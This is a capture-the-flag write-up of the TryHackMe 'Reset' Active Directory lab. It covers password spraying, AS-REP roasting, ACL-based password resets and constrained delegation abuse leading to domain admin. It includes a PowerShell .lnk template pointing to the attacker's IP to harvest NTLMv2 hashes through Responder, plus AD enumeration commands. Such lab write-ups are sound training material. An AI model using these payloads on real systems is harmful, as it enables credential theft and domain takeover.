Hacking Reset (thm)

 NOTE: I am currently migrating my writeups and notes regarding hacking aka pentesting to my github - my reset writeup can be found here

 

 Reset is a fun active directory based box on thm

 

We start with an nmap scan which shows us that the target machine is probably a domain controller as it has port 88 open. Domain controllers typically have this port open since they are involved in kerberos based authentication. We also find some useful data regarding the domain and machine we are attacking. In addition, we find port 5985 is open - this is of interest as it is a port which is used by winrm which in turn is a service which could potentially give us a remote session on the target machine if we find valid credentials.

 

 Since smb is being used, we start our enumeration of the haystack machine by taking a look at it - can we get a null session and thereby enumerate useful data? We find that we can. The IPC$ share has read access to non-authenticated users such as ourselves - we can use this to brute force usernames. There is a non-default share called Data which also allows non-authenticated users read access - we can enumerate it for anything interesting or useful. The Data share interestingly allows non-authenticated users to write to it which might be of use, too.

We have a look in the Data share and find two pdf files along with a txt file. We download these using smbclient and have a look through them. We are able to retrieve a possible username:password combination by taking the time to look through them.

Coming back to brute-forcing usernames, we do so using crackmapexec and then the impacket lookupsid.py program. We use the latter along with some bash commands to create a username list.

Before launching a brute-force attack, it makes sense to try and find out the password policy in use since we do not want to lock accounts. In this case, we could not do so but it is still worth trying because older servers are vulnerable to this type of enumeration.

So, armed with a list of usernames and a possible password, we launch a password spraying attack. This is where we fix the password and change the usernames so as to avoid locking out accounts.

The valid credentials which we obtain for the LILY_ONEILL user do not seem to get us access to the machine. Thinking again, we try an as-rep attack. This takes advantage of the fact that sometimes active directory accounts are set up with kerberos pre-authentication disabled. If this is the case for an account, anybody can request and receive a ticket granting ticket from the key distribution center which is on a domain controller. This tgt in encrypted using a key derived from the user's password. Once an attacker has received the tgt for the targeted user they can attempt to crack the hash and retrieve a plaintext password.

In this case, we obtain three hashes and manage to crack one.

The valid credentials for TABATHA_BRITT do not give us access to the machine, either.

At this point, I decided to use bloodhound to enumerate the domain further. Once I had loaded neo4j and bloodhound, I used an ingestor along with the creds for TABATHA_BRITT to gather data. This data was then uploaded to bloodhound and analyzed.

When we look at Transitive Object Control under Node Info for the TABATHA_BRITT node we see some interesting active directory rights.

The above pictures show us that TABATHA_BRITT has the GenericAll right over SHAWNA_BRAY. This right will (amongst other things) let TABATHA_BRITT change the password for SHAWNA_BRAY. This is of interest to us because we have pwned TABATHA_BRITT and will therefore be able to use their credentials to pwn SHAWNA_BRAY by changing their password to one under our control.

Moving on, SHAWNA_BRAY has the ExtendedRight to ForceChangePassword over CRUZ_HALL. This is self-explanatory and will allow us to pwn CRUZ_HALL.

Next in the attack chain we see that CRUZ_HALL has the GenericWrite right over DARLA_WINTERS. This right will also let us change the password for DARLA_WINTERS.

Essentially, we will be abusing active directory rights. It is always useful when attacking active directory environments to have a look for these rights (along with several others) as they can enable us to move laterally and even sometimes vertically. Bloodhound is a great tool to use to enumerate these rights, but it can be done manually using powershell commands if an initial shell has been obtained. This is one of the best parts of active directory for an attacker - lots of useful domain data can be enumerated even by a low privileged user. When attacking active directory, we tend to be looking more for misconfiguration of its own functionality rather than exploits of code. Misconfiguration is not uncommon or surprising when we consider that active directory is used to manage large collections of assets and humans are involved in said management!

Moving on, we need to look at DARLA_WINTERS - is there anything special about this object? It turns out that yes there is - they have the ability to delegate via constrained delegation.

The pictures above show us that DARLA_WINTERS can delegate to the cifs service on the HAYSTACK.THM.CORP domain controller which we are attacking.

It is possible to give objects the ability to delegate to services as different users. This means that DARLA_WINTERS can impersonate other users (including domain admins) when authenticating to cifs on the haystack machine. This is good news for us because it means that once we have pwned DARLA_WINTERS via the password resets we can use the constrained delegation privilege to authenticate to haystack.thm.corp as a domain admin account and thereby pwn the domain controller!

The picture below shows how we can use Active Directory Users and Computers on a domain controller to allow objects to delegate to services as others.

Coming back to our attack, we start to reset the passwords of the users identified as being vulnerable in our bloodhound enumeration. This can be done from our attacking machine using the net command.

Now we have pwned DARLA_WINTERS we set about exploiting the constrained delegation privilege associated with that account. This can again be achieved from our attacking machine. Ultimately, we obtain kerberos authentication credentials for the Administrator user who bloodhound showed to be a domain admin.

We can now use wmiexec.py from the impacket suite of tools to gain an elevated shell on the haystack machine. psexec does not work - it is probably picked up by antivirus. If psexec does not work, it is always worth trying wmiexec.

Now, this box has been lots of fun already, but there is more to come! I noticed at this point that I had obtained the system flag before the user flag and that seemed a little topsey-turvey! With a little more enumeration, we find a user called automate...

We need to rethink this box and go back to the beginning. We work of the premise that we haven't pwned a thing and we want to land a shell somehow. This time, we think back to the write access we saw on the Data share. Up until now, this had not seemed of any use since even though we could (probably!) put a malicious file onto the machine we wouldn't be able to trigger it...

...that name of automate gets us thinking...

...sometimes there are automated users on labs which trigger events for us. This is great as it helps us to practise social engineering attacks.

Bearing this in mind, we can try a watering hole attack which is more often used to elevate privileges once a foothold on a machine has been obtained. I mean a lnk file attack in which we create a windows lnk file which simply points to our attacking machine. We then drop this into a directory which will hopefully see lots of traffic - such as a shared directory - and wait with responder running to capture hashes of users who visit the poisoned directory - hence the name watering hole attack - we poison the waterhole and wait. Typically, we want admin or domain admin users to visit the poisoned directory so we can then grab their ntlmv2 hashes with responder and attempt to crack them. One of the great things about a lnk file attack is that the victims do not need to click on the file - it will load in file explorer and the event will be triggered which will send their hash flying in our direction! Because of this, it is a good idea to name the malicious lnk file something beginning with a or even better @ or ~ as these characters will bring the malicious file to the top of the files if they are listed alphabetically and they usually are. I did not do this in this case as I didn't think it would be necessary but it is worth bearing in mind.

The above picture shows a template which can be used for lnk file attacks - just change the $lnk.TargetPath value to point to the attacking machine's ip address.

 

$objShell = New-Object -ComObject WScript.shell

$lnk = $objShell.CreateShortcut("C:\app.lnk")

$lnk.TargetPath = "\\10.8.46.6\@app.png"

$lnk.WindowStyle = 1

$lnk.IconLocation = "%windir%\system32\shell32.dll, 3"

$lnk.Description = "App"

$lnk.HotKey = "Ctrl+Alt+T"

$lnk.Save()

I created the lnk file on a windows machine so then had to transfer it to my kali vm - all good practise of transferring files from windows to linux ;-)

Note - I changed the name from app.lnk to reset.lnk on my kali vm before decoding and then uploading it. To upload it, I used the null session on the Data share. I started responder with its default settings before uploading the lnk file.

It didn't take long before lo and behold an ntlmv2 hash for the automate user came speeding across to my attacking machine! :-) I then used hashcat to crack it.

Remembering that winrm is running on the target machine, we can try to get a shell using evilwinrm. It is always worth trying this with any credentials we manage to obtain since even though they may be for a different protocol lots of people reuse passwords. In this case, we were able to get a shell via winrm with the password obtained by cracking the ntlmv2 hash for automate.

At this point, I thought I would manually enumerate the box with the intention of looking more closely at interesting active directory rights as earlier shown by bloodhound. We can do this using powershell commands.

The first step was to find active users who have delegation privileges. We can use:

Get-ADUser -LDAPFilter '(!userAccountControl:1.2.840.113556.1.4.803:=2)' -Properties msds-allowedtodelegateto | Where-Object msda-allowedtodelegateto

As a part of our attack, we want to know who the domain admins are. We can use:

Get-ADGroup 'Domain Admins' | Get-ADGroupMember

We already know that the haystack machine is a domain controller, but if we did not know about the machine our victim user can delegate to we could use:

$target = get-adcomputer HayStack

Get-ADPrincipalGroupMembership $target.distinguishedname

Moving on, we would now want to enumerate access control lists to find interesting rights relating to DARLA_WINTERS. We could use:

 

(Get-Acl "AD:$((Get-ADUser DARLA_WINTERS).distinguishedName)").access | ? {$_.ActiveDirectoryRights -match "GenericAll|GenericWrite|ExtendedRight|AllExtendedRights"} | select IdentityReference,ObjectType,ActiveDirectoryRights -Unique

 

 The CRUZ_HALL user has GenericAll rights over DARLA_WINTERS which is already more than enough since we could use this to pwn DARLA_WINTERS if we could pwn CRUZ_HALL but there is also an interesting GUID for an ObjectType which CRUZ_HALL has the ExtendedRight for. We need to find the text value for the GUID. We can do this in several steps...

$ObjectTypeGUID = @{}

 

(Get-ADObject -SearchBase (Get-ADRootDSE).SchemaNamingContext -LDAPFilter '(SchemaIDGUID=*)' -Properties Name, SchemaIDGUID).ForEach({$ObjectTypeGUID.Add([GUID]$_.SchemaIDGUID,$_.Name)})

 

(Get-ADObject -SearchBase "CN=Extended-Rights,$((Get-ADRootDSE).ConfigurationNamingContext)" -LDAPFilter '(ObjectClass=ControlAccessRight)' -Properties Name, RightsGUID).ForEach({$ObjectTypeGUID.Add([GUID]$_.RightsGUID,$_.Name)})

 

$ObjectTypeGUID | Format-Table -AutoSize

 

$ObjectTypeGUID[[GUID]'28630ebf-41d5-11d1-a9c1-0000f80367c1']

 

Yes, a lot of ugly syntax, but it shows us that the ObjectType is User-Force-Change-Password

 

We can now repeat this process of enumerating users with a focus on interesting access control entries relating to them by changing the name used in our earlier command.

 

 We eventually get to the end of this enumeration.

Of course, bloodhound does the heavy-lifting quickly and efficiently, but I always find it fun to do things more manually, too.

In conclusion, I enjoyed this box, especially because I could practise attacking a domain controller and I really liked the inclusion of the automate user!

Thanks to tryhackme and l4m3r8 for creating it and thank you for reading my writeup of it! :-)

puzz00